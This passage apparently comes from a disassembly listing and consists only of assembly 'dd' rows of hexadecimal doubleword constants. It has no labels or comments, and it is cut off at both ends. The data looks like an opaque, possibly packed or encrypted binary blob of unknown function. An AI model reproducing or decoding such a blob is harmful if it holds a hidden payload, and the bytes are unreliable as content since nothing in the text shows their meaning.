216627B0h, 35EA0450h, 3AF3F87Ch dd 0B0DCA587h, 0A19618Ah, 0F83F68C7h, 10C8D701h, 1D5A18EFh dd 34B04B67h, 91E9FD16h, 4C5497C2h, 98890FCh, 3C5E11B1h dd 0ACAE6108h, 43F70152h, 6A467B19h, 334A5680h, 5C30F5ECh dd 5D3B044Bh, 0EAF20942h, 0B90207F9h, 144C0A36h, 5ED964D7h dd 2AA2A15Ah, 3BEE9181h, 556A004h, 9E120124h, 4D08E00Fh dd 0B13FF2F7h, 0E9923469h, 0D9DD9C2Fh, 185F4992h, 954143A4h dd 1577739Ah, 307DA5B7h, 5F436846h, 24EAA562h, 580FB85Ah dd 4F1E390Bh, 4A447725h, 2CF82D51h, 42FA8F5h, 3B261668h dd 5F9EFE82h, 0D1C81B93h, 0F69D1064h, 0C7E54287h, 0EAEB1B5Fh dd 52DD0B5h, 1A6F6EB9h, 6902FA4Fh, 5F4B9B68h, 0D4F17318h dd 6E5AF782h, 14BEAFF4h, 0BB0B5917h, 0CBC2C43Fh, 2D9231F3h dd 0BA20CFC6h, 6B91954Bh, 2E3435F2h, 64A29927h, 2538C4E7h dd 6799B7E3h, 0E2E23BD1h, 5147D197h, 0CFE0070Fh, 5FE46E10h dd 53AC2Dh, 501BCC09h, 2F6736B8h, 9584379Bh, 0FD638047h dd 0E648F21Ch, 2FA0492Fh, 0CB16F65Fh, 537B007Dh, 737B5068h dd 63FA9504h, 5C4D99Dh, 8F6A4h, 3DE9DF9Ah, 0C8B5FEF2h dd 73CE80CBh, 86EE3B47h, 0E941C607h, 40D8EAA1h, 61FB286Ch dd 83628BFh, 92BA0C35h, 14F75F9Fh, 30A384E5h, 0ED4D4C6Bh dd 0AB2FF534h, 2EDCFC21h, 44C60122h, 0AF7C0267h, 5B86E90Ch dd 51A78940h, 0B56F7633h, 1A0BF351h, 27BA672Dh, 25E4ED57h dd 583E7F7h, 4516CA68h, 0EC1C18EEh, 3746D36Ah, 0C16CA7h dd 0BE2B15C7h, 4EFC10Fh, 1D1C5FB0h, 1EB0D722h, 25C32110h dd 0A2752924h, 2BB4B9h, 4D98685Ch, 83D6BC5h, 56FB32EAh dd 0A1272CD2h, 87595977h, 0A10E3252h, 0A76749E9h, 865F14Bh dd 5067311Fh, 0A8330592h, 0C0008409h, 0BA432055h, 642E1259h dd 0EB24EB68h, 0BB7313FBh, 27869E21h, 0F99AC104h, 0C06866h dd 80AFB75Ch, 90F6C6EFh, 0D0BD2D21h, 94C12993h, 42109645h dd 3B27D01h, 16F0AB73h, 6066B54Ch, 62B41D24h, 9D1060A6h dd 2F0D5B24h, 0AD30227Fh, 68315F13h, 0B2CD6FBEh, 413E212Eh dd 813503A1h, 0AD411209h, 57003ACBh, 4E13BE56h, 7EE4D74h dd 243D7BA9h, 90C4D472h, 5FD2DAE6h, 0A4E91939h, 5D1D8AECh dd 0B78B018Dh, 0E1B743E6h, 60F0D7F7h, 0BC2FF3F2h, 0BCBEA44Eh dd 5002C632h, 0C15FEE85h, 8D583B68h, 0A50C9735h, 9544D09h dd 55D05777h, 566B9B80h, 58B8154Eh, 83CEDF19h, 0EDE240E5h dd 0C4B83067h, 7E18BEFCh, 8D0C6378h, 3C25203Fh, 0A57CF017h dd 60159904h, 5B8BE7AFh, 392FCEB3h, 345F818Bh, 0B6E095DBh dd 7D12EF68h, 30FB6B67h, 56748FA6h, 0A0F23A4Fh, 0A60A8262h dd 0FF8B83F6h, 0E558538Dh, 67E51C09h, 24C99ED7h, 79F544E2h dd 0FCA82A01h, 0EA4E1D84h, 1493CF6h, 7D0BCACBh, 0C6292481h dd 4F3E3258h, 0D79E0AF8h, 126A90D0h, 0CF25BCC4h, 32A75731h dd 10F9B94Ch, 89522388h, 0C55D1956h, 5D50A706h, 4509FB2Dh dd 90A2304Bh, 4D2F5D74h, 0B5B46C29h, 8CC2C062h, 6F1E7960h dd 5BB44C95h, 0C2CB94E4h, 205F1E2Eh, 0B224EE85h, 5EF18020h dd 8497FAD4h, 0BD004708h, 15E3681Ch, 7890297Bh, 6D2C1A2Ah dd 800BB93Eh, 57411682h, 0B6DDE954h, 0A5B302A1h, 45F5D808h dd 4E61CE1Ah, 2EB3E7E9h, 0C99E2FADh, 0A55A0CA8h, 2455895h dd 0F17653CCh, 715FF901h, 6ED74B53h, 2D7AB057h, 16C68D6Ah dd 0F5A4792h, 12DEB6FCh, 0B1C8419Fh, 2BC1FEDFh, 0EE5967A4h dd 61E926C9h, 4A6885A3h, 57DF337Bh, 1E16416h, 553C81F2h dd 2022C192h, 1F2C4DB0h, 39AD594Ah, 0EBC74A9Dh, 3277259Ah dd 0FE675530h, 43278724h, 8E39F28Ch, 5562FAB9h, 68867F76h dd 3F5D2DF6h, 2C087B1h, 246A5E8Ah, 52C31363h, 0BB558DB0h dd 0A2B1A0C6h, 7514897Fh, 0F2C0A52Bh, 6B582B28h, 26920AAFh dd 464F5CFFh, 914BCFEh, 954F12Dh, 70AC127Fh, 760BFACh dd 0A0621661h, 0BD3944h, 29BF5745h, 3EB04812h, 0F04A23F8h dd 9109ED6Ch, 0FCC97D17h, 56A41793h, 0B2DEAABEh, 0D511CE15h dd 5AC80538h, 93C5B1C4h, 2E24C862h, 77C9A759h, 2A7C0918h dd 79E83EE1h, 0A5A87BA9h, 47965E5h, 72093C6h, 0D004DAB2h dd 0CB6643D8h, 68CBBC22h, 0E358EEB4h, 2523570Ch, 0A1C52CD3h dd 16A0DD25h, 1022E950h, 1224999Dh, 0D5E2D365h, 74B2E667h dd 9DBA016Ch, 81213059h, 3D79CA05h, 0AB004B93h, 3F6B57EBh dd 2D4464E9h, 0D250C0B0h dd 304CBF2Ch, 2E503D93h, 0E125639Ah, 0A605AACh, 9D721279h dd 49A0DC5Eh, 0D5509C05h, 7FB165E9h, 3A6417Ah, 2A54F719h dd 5AA137A8h, 3B7EB93Dh, 0E83F9232h, 4D829C41h, 67E8212Eh dd 3946BF8Ah, 0FBA94724h, 1A475969h, 0CCC33D21h, 3C2048D1h dd 0CE560031h, 33E9C654h, 2F5B81FCh, 5F1E4922h, 55C01C54h dd 25236FBDh, 15F058E8h, 15D0809h, 6864D67Ch, 5B5F0311h dd 0D1F60968h, 7999AEE2h, 0D02521A6h, 6B4F3440h, 0B7A2BF18h dd 0D87EC62Fh, 1B242999h, 0E32B3D75h, 5ABD344h, 310E79E6h dd 112CD280h, 5603E7A1h, 0B8E1ACB1h, 0F8F03224h, 5568015Ch dd 0EA98C69h, 0EED023C9h, 0F9344E23h, 3CA2B9h, 43D868E7h dd 474B41C4h, 0DAE38100h, 3A506063h, 302E069Dh, 0F50009B6h dd 0CB3B3299h, 35EB5829h, 0FB38E213h, 8F83AB97h, 0C3450D20h dd 82DA7C30h, 0AC1EEB0Ch, 0C4EA7F51h, 20C080Dh, 14E45914h dd 0CDC120h, 6FB85053h, 48659817h, 31C79750h, 496CFEB7h dd 23097C8Eh, 430967D6h, 7F339233h, 0B0B77FF8h, 0CE73829Bh dd 0B9EBCBB3h, 0F2A22EF2h, 0F2A08344h, 0BD839990h, 256847E0h dd 0E51A659Fh, 0C141BBD6h, 5DD259E9h, 0C26230D6h, 5DDF8BE6h dd 0B0B78ACCh, 0BD6CF15Fh, 68052B47h, 0DFEC445Ah, 0BEE81FC5h dd 41354FDCh, 617D213Eh, 27847F0Ah, 16779AABh, 61EE6F03h dd 788A4A1Eh, 0C0ABB4EEh, 1AAB3930h, 25A60B8h, 40906898h dd 0F15F01E2h, 0E93F38BEh, 0B1C5EE4Ah, 53DF39E9h, 29834483h dd 0FBC2C5CDh, 75D868D4h, 3BBE13BAh, 0BC1B04B4h, 902C007Eh dd 7B36B151h, 4207380h, 5366BBC1h, 0C8F0BB88h, 310E4BCCh dd 6A590168h, 5B1B4ACCh, 44038997h, 0ECCBBFD6h, 4301B464h dd 481E36E9h, 8351CB1h, 3BD1BF1Eh, 58024401h, 0EADF9942h dd 0F678F04Ch, 335F4C5Dh, 0A850FF93h, 0B8FD4F08h, 0A237E909h dd 553B97FAh, 0CAAA4FE5h, 34AB4FF6h, 0BFD9C05Ch, 0A53032E5h dd 6102923Bh, 0B06EF14Dh, 2CF5E96Fh, 895A0DE5h, 9CEDE7D9h dd 5F6097Ah, 0EA8DD855h, 0E41C0241h, 6D2B6860h, 7B822051h dd 7538FC49h, 0F11CA8F4h, 35565FC4h, 0C455C6E0h, 0F0EDE98Ah dd 0C25080A0h, 8C7815D9h, 5D53495h, 3110E8C1h, 3CA1FEC8h dd 16B808A4h, 0B57EC8BDh, 0B3537901h, 44C3809Eh, 251AF3CCh dd 84EBE9h, 0C5B5A95Eh, 65ECA3CEh, 0DE8852E0h, 0F4135073h dd 10C564E9h, 75F0089Dh, 0BA7F9741h, 12DC4C26h, 0CC2D4A68h dd 7A4D5E1Fh, 48F1840Fh, 0F5B93481h, 0F2310B96h, 39F61399h dd 3C2C574h, 66947775h, 0FEF2D512h, 0B6A265BAh, 0BA57C593h dd 0C23530BFh, 447DD361h, 0F3993E2Fh, 33CD08A9h, 3ABB5300h dd 0B0F9C414h, 5BB3FAF1h, 68DD7048h, 49BD6ADAh, 29018499h dd 0A89844FEh, 0D9B30568h, 0DBCDA28h, 0BAE52F18h, 431EAABEh dd 0B78B0CBFh, 0E35C2215h, 4F82EC60h, 827437BCh, 866C3AD3h dd 0B6094418h, 0C0C8F0B6h, 0DBFEEE9Dh, 0F2EDF8EAh, 0C0BFDD52h dd 82FA169Bh, 2FE8A80h, 0D8B56B46h, 0A0429DB7h, 52C24D7Eh dd 60B4DE14h, 9BF569Dh, 7294E949h, 72101D96h, 0F1F7A651h dd 2B3601D8h, 2CDF2D10h, 0AC076C43h, 0F7D4E108h, 0E7B849C1h dd 0FC0A5503h, 0EF750C10h, 0B41AEB25h, 4E8735C8h, 1FEEECF1h dd 630D5956h, 2D2A3A1Fh, 6E48FD64h, 7F28FB09h, 0B42C4BDBh dd 60DD0416h, 25F5C3C1h, 0B8F8003Bh, 31210D63h, 20033504h dd 82FE765Ah, 7858B1BFh, 0BDF681B5h, 0DA3045EAh, 0DFF3CA44h dd 0FC2538F2h, 1497E244h, 68553BE6h, 828B7245h, 570E92E9h dd 42B1B618h, 9A5A78F6h, 404BB4A4h, 570BEECh, 0F5010F28h dd 0B4370C68h, 0A80A4A13h, 0A908B329h, 4102649h, 0E4CA88BEh dd 0A752A51Ah, 0B6EE92A3h, 0C6E95F36h, 0A033E00h, 1AD4E946h dd 0A6B62AC4h, 53B4E0AFh, 36B2B94Bh, 1D02DC04h, 5002EE12h dd 7F707E57h, 0D2F77022h, 0D9E1825Fh, 97795112h, 0BD2DC469h dd 38E9E17Ch, 0BBD8096Bh, 4929E40Eh, 4C180DC8h, 0BD3F2D81h dd 1E31618h, 686271BBh, 10536D2Ch, 525E2579h, 36E0FA37h dd 92E25E6Dh, 21E495A9h, 41D7EA02h, 0E042615Ch, 27099D06h dd 0B050D4FCh, 0E7ACDEBDh, 91C17751h, 0CE98E9CFh, 0EBD0F65Dh dd 5AADFAD9h, 80017F03h, 5B4D4568h, 6C6F8409h, 6AE7D9FFh dd 5E7E25B8h, 50978C7Fh, 0F09FF0E8h, 0DBEEB5CDh, 63411095h dd 0CDAD6002h, 74765F0Bh, 4905CEF8h, 4648AA25h, 3E5E5EE0h dd 0F6BD7A80h, 0D2E12DF2h, 8F8113F0h, 36C42AA5h, 68FF68FEh dd 71217D25h, 0A179975Dh, 0F9A72A5Ch, 64479104h, 254BF03Bh dd 0EB5B7D64h, 7E2AA1AAh, 0AFF55DF8h, 55897BA2h, 0BE7DC80Ch dd 0C2071C09h, 25650BAh, 41E6B951h, 82D72CBCh, 7DC046D3h dd 0BBF2D320h, 1B4EDA61h, 0BF8B12EBh, 6D2418B5h, 89A24B09h dd 25032F23h, 8F03D301h, 6A652AF2h, 6AB7408Ch, 0D11D584Bh dd 69623825h, 621EDBDDh, 43C42244h, 0F7529D05h, 79F14369h dd 0BE411DFCh, 0FBFE865Dh, 609D50E7h, 9B01B12Bh, 2FC700DBh dd 39BF070Eh, 15BB4205h, 77C2EF29h, 0B347463Fh, 90680536h dd 9225E35h, 0AAF114C9h, 0DF0ED496h, 43DA4972h, 45F5D122h dd 79B81A56h, 0CEC00ABh, 13BA59BDh, 0DD5F01F3h, 390538F0h dd 0C118DC5Fh, 6FE7D2EFh, 78C68080h, 5712264Eh, 5572C90Eh dd 4AED5959h, 0A94E2FE7h, 0EFD80FD9h, 0FC5BCBFEh, 0E0135BC8h dd 0ABB86176h, 4E1A6809h, 0FC3B4B30h, 504F782h, 0A8F8BF1Ch dd 6A4A2CB8h, 2C68962Ch, 60E11B58h, 0F680ACB6h, 94E9B10Dh dd 0F32E1A08h, 5968187Fh, 5F4FE917h, 0A732FC2Bh, 48E386C6h dd 612F6EADh, 0BDC0988Eh, 28594EBFh, 82295CB7h, 8057419h dd 0F82805F4h, 78CF7109h, 3F8676DCh, 7B73B55Ah, 0D1811504h dd 745A6803h, 0EB5C713Dh, 0ECDA5E14h, 0B612EAEAh, 0F6FC77CAh dd 0D2FF66B2h, 0DFC731B3h, 665358B4h, 0F45D257Fh, 5752F18h dd 6DEC7484h, 9F7EE9C2h, 0E3079FFAh, 296D3B54h, 4AC59C2h dd 0A8F1FBB9h, 0A56BDCE9h, 0C32E3076h, 2B84640h, 40AE5FDEh dd 0CB41C689h, 88AF0532h, 0EC13CB93h, 0D213717Bh, 0D5E7D400h dd 0FE22BC6Bh, 0F3D70BEFh, 0ABFD12BFh, 0D140260h, 14890624h dd 4685348h, 5C461F58h, 0BB361B4h, 297E6E64h, 0BE7B2DFh dd 7C05770Ch, 3E1C14C6h, 0AA5B1238h, 0A6C2B824h, 0F2EA57EDh dd 50D05E55h, 0F65E7FE9h, 0F7F024A5h, 51DA0F2Ch, 0DD81B9B5h dd 0C0C4ED80h, 0EAA159E8h, 0DA541708h, 0D4CB5F0Bh, 2E071AD1h dd 0EA5374FAh, 1F4002B5h, 187DC139h, 9EEE31D9h, 7F0407C6h dd 0F229F80Ah, 210578E3h, 0A811E9D5h, 0DF2C4FDCh, 0B8145A68h dd 0D513D339h, 0A2BD0A4Fh, 55B59ED9h, 72DD3989h, 5ABEEE67h dd 0C58FB90Ah, 6AF48FCEh, 0ED3D1406h, 47059D6Bh, 844DC357h dd 18958455h, 0F6E9A908h, 62BA0A4Bh, 0BDC99185h, 0E36A70BAh dd 6009632Fh, 0E2B892Bh, 0CE0518F0h, 8193854Eh, 8123C1D9h dd 41C0EE7Fh, 0D02E02EFh, 5B217B12h, 0BE833E4Fh, 5F04F283h dd 75E905D4h, 38BC3B80h, 70F50AD0h, 48F0BF25h, 6B1710D3h dd 0D7F020AAh, 914F03E9h, 4AC11F28h, 0D44DFD58h, 66C725E9h dd 154520C2h, 4A4A547Eh, 6858DBC0h, 0BC204B87h, 0A34DD85Ah dd 116D0915h, 80D5D3F7h, 86C72D7h, 8312C177h, 0E5E9FFC3h dd 6EF34DE0h, 0B9A461A8h, 0F355E7D3h, 0EB4F7EB3h, 35A16440h dd 0E899C51h, 1CBFE9F1h, 5D8EAF16h, 945E5727h, 981F74Bh dd 0EC38566Fh, 0D9AA466h dd 8FE6D6BFh, 0CA579944h, 5A59585Dh, 0D88B17F2h, 5BFFA8C2h dd 5F928B70h, 1F4F3130h, 5767F325h, 0D8C6FC90h, 29230C19h dd 68C4D798h, 0B5749720h, 5E2F2D39h, 0FC6765D8h, 35EE5A8Fh dd 65568077h, 955E02DCh, 0AA5BC091h, 37F4A004h, 0F0AECF3Dh dd 1AC9115Eh, 846F8AF5h, 8144FD8Ah, 0E82849B5h, 5E2C59E0h dd 0D3E83430h, 244C68A6h, 652D48Fh, 20B22898h, 0E90817DEh dd 5E63A036h, 8E2F98AEh, 9966E1h, 531C3D4Ah, 6012C281h dd 34CD03Bh, 0FC5118E2h, 1418051Dh, 8005DB68h, 66D872Bh dd 0DA600490h, 0C10BA91Ch, 0C8DCB5D5h, 99853E6h, 686D5B09h dd 0D10947DCh, 105600E3h, 5D0DAB6h, 9D732B05h, 2D34826Bh dd 0AE5B0784h, 0AB922CB2h, 6B1A0EE2h, 0E1F5C8DCh, 5BF8EB05h dd 0BF5550E4h, 4D69F5B0h, 3EFDDB10h, 0A8741658h, 756EA245h dd 40176798h, 0E5BD5FECh, 29A73F19h, 6ADD4742h, 0D51069F9h dd 12196FDCh, 0E42B0AE9h, 2FBFC337h, 0F86A8ED5h, 13F6B218h dd 1F3001B0h, 16B68058h, 0E9BBEE80h, 1800AF4Ah, 347C23BEh dd 49094C1Fh, 86002148h, 0E91273ECh, 0C2BA94E8h, 7DD6EB27h dd 0FAB2818Eh, 4A84CCE2h, 0C47ABCABh, 3507C2ADh, 70419284h dd 5CA03D58h, 0F6276428h, 4BCC7765h, 4609B098h, 802E4062h dd 2C3E3154h, 0CF290937h, 4877BCE9h, 1DBD76h, 0DF0D758Bh dd 2D173B5Eh, 0D83AFB14h, 8AB12B9h, 0F9118797h, 2C75BCC7h dd 4AE9DB34h, 0E59840A9h, 44F86A31h, 0A5B26DB0h, 0D694F79Dh dd 2C5EA81h, 5B59E05Ch, 20949706h, 53E05D60h, 63B32Ah dd 1742F181h, 0D9F778E8h, 0D2017898h, 0E92DDE77h, 0CC23FF98h dd 22C66809h, 6679AA44h, 2D5E033Ah, 1630705Fh, 4B76E907h dd 0ACC4B9D9h, 8C20CB7Ch, 0E17EA0CAh, 1B733D72h, 364BCCA7h dd 9F3D1FB1h, 549CA6Fh, 9FEFD261h, 0FB5EDFA5h, 0C48F4DE1h dd 446B602Fh, 0EB028872h, 40E34788h, 0F7A8404Bh, 5E535EDBh dd 9450651Dh, 251CF79Dh, 0E9FE6F9Ah, 2A101330h, 625A3A88h dd 0DAC09C59h, 0C541BC8Eh, 0CC56E580h, 11C70AF5h, 0A2BF04EDh dd 7F23E9CCh, 632DF85Ah, 73565EF6h, 80E02BBAh, 6F695CE9h dd 6FE60E6Fh, 0F08D49D1h, 4C51B04Ah, 0B293F05Eh, 0F27F2480h dd 2FF97BAFh, 61A432D5h, 0C0040223h, 7FD9C70Eh, 0B0FCBC26h dd 289C0C16h, 68C31731h, 9B31BF07h, 5A858150h, 0C1916B6Fh dd 9D1CE5DEh, 2DCCC59Bh, 95EF4913h, 10A20BF5h, 9E05AA7Bh dd 1904E987h, 0DA300580h, 0A6F908h, 0A9455FBFh, 44B88138h dd 3F020802h, 0D480C3E9h, 2AA26253h, 0DEBF5DCCh, 81560D01h dd 89E83B22h, 55EDA051h, 76B78704h, 1AB4F33Bh, 29B5983Fh dd 2580F59Fh, 8C401C4Fh, 1106BD10h, 0BEDFE988h, 9FB32640h dd 6BA192Fh, 50E3D8D5h, 0B109F3F2h, 0D516D4E9h, 2E98C047h dd 0CCD81E1h, 15450A2h, 3918A90Ch, 23723141h, 7890055Fh dd 0C8D8CAE9h, 400B6B92h, 0FE481CFBh, 10933FE0h, 6A93A1E3h dd 36A04500h, 5B8B2AD4h, 0A238B934h, 4264545Ch, 1275D95Eh dd 51767D60h, 40404017h, 223D5AB9h, 99D49F12h, 0F5FBB01h dd 80E0603Ch, 0BEB9217h, 10E00EC9h, 0EC351B04h, 91BE97C7h dd 6CB21912h, 720496A7h, 0A41D136Eh, 4277A528h, 0E526C00Fh dd 6896C3EDh, 0AE844322h, 0A984D1E2h, 2B68063Ah, 92CFF425h dd 4D592CB4h, 36A20075h, 0EF012B25h, 194AF0FEh, 0ABD761E8h dd 0FF083813h, 94B28DEh, 0EABAE029h, 2A340BFCh, 1E4CEBAh dd 0FE1CF3EFh, 0F16F0108h, 0FA080599h, 40B48DC8h, 8E0FBAD0h dd 4576C020h, 55B77F0Ch, 98D7892Dh, 4BEDE95Bh, 86A6B825h dd 4A0EF34Bh, 0B1EBE831h, 103AEEE9h, 19199DF9h, 3BD82D2Dh dd 5FCA05EAh, 0BFA68421h, 0C41834ACh, 2FC799DDh, 4E16792Eh dd 7A89A41Eh, 0B8D0F27h, 0F88B30F0h, 54538085h, 385F4A90h dd 13271021h, 20E66800h, 944D3025h, 0EE1CA0F1h, 413A2E47h dd 0B3E1669h, 0A2DD1CFFh, 0F9D7D11Bh, 1FC4ADD6h, 5305A548h dd 68E827F7h, 14BDF1DFh, 984E9308h, 1FA0FC27h, 3B57FC8h dd 0BDC44BDh, 44CF5E09h, 2BCAC0Eh, 0E6E917BDh, 0B9073F58h dd 703A7738h, 0A07C22A2h, 5758C69Fh, 695D0BBFh, 5581A4Ch dd 39D02409h, 7498047h, 97C3207Ah, 1C6E8F09h, 0D7B1E912h dd 64E027C9h, 54BBA5Ch, 0A26809EEh, 58ABD81Bh, 802B2341h dd 51EB28A0h, 2D15B52Ch, 1C0F8116h, 4FDCF277h, 19862068h dd 752CE916h, 71A4A753h, 9F66EA7Bh, 59B3A4F0h, 0AD5B963Eh dd 0A86AD9BEh, 12EA5DC7h, 390CB880h, 0BB025C28h, 1D4869A1h dd 57C00AC2h, 0B583DA4Ah, 52633CBAh, 2B1882CBh, 0F64F025h dd 0FDAD390h, 0FDD8FFA4h, 861C2AE2h, 539D8E80h, 2D5D885Ch dd 0C66C6869h, 5176047Eh, 0AF1C8B56h, 87884EF6h, 0F10DB424h dd 0ECD560D6h, 0E805D4D6h, 0A7001EEh, 6B555A24h, 77394DF0h dd 2F51B761h, 721BE9E1h, 93118B25h, 0D101140Eh, 0CC1020EFh dd 0F861542Fh, 25FD1350h, 0F743008Bh, 3A8720C2h, 17B887B8h dd 77111E0Bh, 5EE65FB6h, 0DF0EE2Eh, 26915469h, 28C38062h dd 45E97310h, 0C0A5D2BEh, 0BD53D4D2h, 32A545F3h, 60DA5F2Dh dd 0D702099Fh, 5FFD2630h, 40706812h, 0ECD44661h, 9388AD3Bh dd 2F798AD9h, 97AE3E2Ah, 0CA7DD140h, 0A5DBA80h, 4227A251h dd 93F602BBh, 7562C6C3h, 98D735C2h, 0B5EAD11Ch, 9482CAD6h dd 5F8BD7C0h, 3DDE7CC2h, 0FC8206CBh, 0F7312C6Eh, 0D4ED13C7h dd 48BCBB59h, 0ABCDC34Bh, 0EB879703h, 0D1555345h, 14A0DD77h dd 82680D80h, 7A9C065Fh, 366448E8h, 788AA1Dh, 0E439E4Eh dd 0EE923EFCh, 26E90702h, 0ACF1DF6Dh, 7ACC5FC9h, 3BF6E912h dd 8C10A8D3h, 0C7F04B0Bh, 402D12F4h, 96C5ED4h, 0E2A9F438h dd 93956CD5h, 0B8F389F6h, 2574EDDFh, 50E9EA90h, 94F2F75Fh dd 1BDC4497h, 48B25070h, 17A94B9Dh, 0E9EE0979h, 0C348B9CDh dd 7CB102DEh, 8B03FE00h, 82C70115h, 0D20C080Ch, 5264D9FCh dd 0D7A8C8F0h, 7C3EA64Ah, 6C8A3755h, 0D34AD54Ch, 6B312B05h dd 10868AFFh, 279A899h, 51D82822h, 5DE8B1h, 0C4E9CA38h dd 0EB37CFBCh, 3C936043h, 55E400F5h, 0BA401619h, 45631A09h dd 0D094E23Dh, 0B099AEF8h, 4E20BF24h, 0A867F5E1h, 4149431Fh dd 0B4A07157h, 0DCC65C83h, 6AECE609h, 0F6C0218Eh, 2E4ED3D0h dd 7B9FF2FAh, 7E3D423Dh, 0A7900309h, 0C16B028Ch, 11A1DDFh dd 829A8FFh, 90EE5D12h, 6AB86644h, 0D280874h, 327FCE16h dd 90FCFE4Eh, 9C5CE7B7h, 920CF55Fh, 8C59157Dh, 3E8A12F2h dd 4B09FDD0h, 0B99874BBh, 222F1439h, 96287FDh, 0DEC2C784h dd 5019DCFBh, 6D5F2768h, 6039DA32h, 0C645042Ch, 3ABFCA76h dd 552D1B5h, 0BF389468h, 345F2F9Ah, 854389BFh, 0F305E90Ch dd 8F18ACF3h, 0F0F7EB58h, 3C58417Ch, 55E62E2Ch, 8995D1ADh dd 409B1FFEh, 4077F7F2h, 4E131B97h, 0FE87C577h, 814EF0C2h dd 6A1A87EBh, 0CC66530h, 0D42283D6h, 0F2AA5E36h, 10CD855Fh dd 7FF07494h, 0A06FB2BDh, 3D77F5ACh, 239274FBh, 0E589AF31h dd 0B604DCE4h, 0B77869DEh, 0E5B95105h, 3DC07908h, 337D0BE1h dd 574273D1h, 58C1D312h, 0A1F544EAh, 4931C215h, 0BA895C04h dd 0C9F11EFCh, 0BC895988h, 0E3C0AC60h, 0C358037Bh, 7A075AE3h dd 0AF725147h, 0A7E55D8Eh, 0A3E8C600h, 0C450DFE0h, 0FFF0D7ECh dd 4A7AF0B7h, 4228AE5Eh, 0E76BE102h, 9EE912EDh, 882726E8h dd 1CDF9475h, 0CE93EB80h dd 0D30D48C3h, 47E9D410h, 0A124919Eh, 417C063Fh, 90C05FCh dd 6FA10A7Dh, 499F00FDh, 0FC402B5Bh, 3DE71260h, 4E47FCAAh dd 603BD5F1h, 20534742h, 0E2810B01h, 57567DAAh, 1630CAD8h dd 13F101Dh, 6BE94A50h, 2FF7BB03h, 7578C241h, 4B593F96h dd 55A04B34h, 4B237A8Ch, 59E4C356h, 68213E18h, 989D2C0Eh dd 0BC934F61h, 5B6948D0h, 959868E0h, 0E4C0110h, 0CBB11ABDh dd 4AC57F4Dh, 0BF2B0098h, 495A2522h, 56E78101h, 476EA466h dd 0DD078470h, 2C85A64Fh, 67890BA5h, 224FACC0h, 0A88BD39Fh dd 0B72FE41Ch, 8327E79Ch, 0E92B18C3h, 7365E1B9h, 98AA5F54h dd 521211F5h, 0A7E87EC9h, 7C0566B0h, 48A01B5Fh, 4B5E7386h dd 0C937E468h, 78E31125h, 0E1F8C457h, 64C88046h, 9F5EF380h dd 7DB7A709h, 71D58709h, 0F0DBCB64h, 5C72A035h, 8DC53F5h dd 122FD87Fh, 7873C121h, 14E0874Dh, 1255F1AFh, 9490C82h dd 90E5DADDh, 924F03h, 1A69BB18h, 4DB05225h, 771FF93Fh dd 301E819Dh, 0EE2FFED7h, 26688228h, 0C1A84259h, 200D6EB9h dd 658B012h, 0EA2D9FEh, 2A079862h, 0B7405180h, 752D580Ch dd 0B845CEAFh, 31D7490Fh, 0E442607Ch, 0FE5B0147h, 0EAA3BCEh dd 0E6661B5Fh, 0AF790C9Ah, 882C9CF8h, 3E998F3h, 745E451Dh dd 0E264446Bh, 208BB041h, 5C94EA9Bh, 0EE65E097h, 625A3B46h dd 0CFF5D26h, 0E913EAF5h, 3D16955Dh, 5BB20F80h, 0C28BDD28h dd 5E30777Dh, 6BDE4E1Ah, 50C68847h, 2AAF035h, 5BE95AA9h dd 5155836Ah, 41224B66h, 0D65D6851h, 2AE9506Eh, 0DD1C8995h dd 0FF527079h, 0E916F66Eh, 0EDB25D74h, 0E69F858h, 40467175h dd 0E7685FFEh, 819F384Dh, 25EB0A81h, 0E6085D30h, 0E8044AE3h dd 0AC7A12FCh, 55C1CFACh, 2A392868h, 884865B6h, 352FF801h dd 2AD8F726h, 0C52D54C0h, 0B0844A28h, 5050463h, 1174C34h dd 412ADFA9h, 0B3124FE7h, 0B10978D9h, 0FE1C7C59h, 0EBF7C066h dd 3376B32Bh, 0D565C705h, 3F853785h, 3F24E1FBh, 247D40E6h dd 97384568h, 6A27AA09h, 0DF8A88C2h, 9F612212h, 19DBD822h dd 0E99340B5h, 25FB4896h, 84E150A2h, 2D8C2FADh, 96C122Fh dd 0F329B0FCh, 6203A502h, 0D5666838h, 1D25A0C8h, 8FB9C983h dd 0CB01E9DBh, 0E916B532h, 15D2EA0Fh, 953E5851h, 25DDFB6Ah dd 0FAAD5E74h, 26AB9F85h, 5A6FD7F9h, 0DC91C4CFh, 0D3D9B2FEh dd 0D2E93B02h, 99BCA048h, 0B708400Fh, 7F866860h, 0E9646309h dd 556D6265h, 0EAC66D3h, 91CD219h, 53CC8C30h, 520088C5h dd 0E2C060B2h, 0F2138005h, 0BCE8881Bh, 55762920h, 0D31D7225h dd 26C225A3h, 9113986Eh, 20BBDC19h, 0C181F94Dh, 28440BA2h dd 3FB9CA49h, 7EA124Ah, 0FDC2F1D1h, 925DFAFCh, 7F062A90h dd 4E9AFA53h, 0D282FCA2h, 94F149AFh, 619894F8h, 0F5792851h dd 9A2B6CDAh, 1BF475A9h, 8948E9E2h, 1F936C8Dh, 6D706856h dd 0E5094446h, 0F32735Fh, 96C54FA7h, 0E3E804BEh, 503A8AD6h dd 304DF90Ah, 0B22D76FBh, 7A777CC3h, 3D3DE75h, 194D25ECh dd 10A60C04h, 0B8AA0D83h, 0B450A13Fh, 0BDC468FCh, 0FF190022h dd 95ABBD04h, 7E76BDC9h, 33D3CB2Ch, 0A30DC85h, 65089D0h dd 0AD544EA3h, 7CE9178Eh, 0D352434Fh, 29BA8B04h, 40C4F8FCh dd 1B9002Ah, 30C5C77h, 42E6F181h, 0E1B048ABh, 8E4B72AEh dd 0C98034F8h, 73900D65h, 180E959Eh, 0CD31E0DCh, 0B7EB8959h dd 7697A6CCh, 95034992h, 3AC24EC6h, 4089EA87h, 97E972D7h dd 6283A640h, 1EA06C2h, 0F625BA7Eh, 92821CBCh, 0C100EF1Dh dd 1467C18h, 880D0D1h, 331FB4Fh, 0A07737B9h, 85755A7Ah dd 70F6BED8h, 0FF7EE9C2h, 0A2711C42h, 12B1123Dh, 784C4CF2h dd 9CCFF28h, 0FB1935DBh, 0A60864F4h, 0AD983AC8h, 0F75844CDh dd 632C32C4h, 3D60BE00h, 86F40251h, 2D5C00BDh, 4AAF3EB1h dd 2F6B113h, 0AA775B07h, 2D12F3FFh, 0E6816AC8h, 7D6113CDh dd 0A9F6013Dh, 6AC96D71h, 0BC16BE4h, 39862702h, 882EFDAh dd 8CC29DDEh, 83D84AE6h, 0CBA57D60h, 0E8701211h, 99CBAA55h dd 6215BA0Eh, 0A980472Bh, 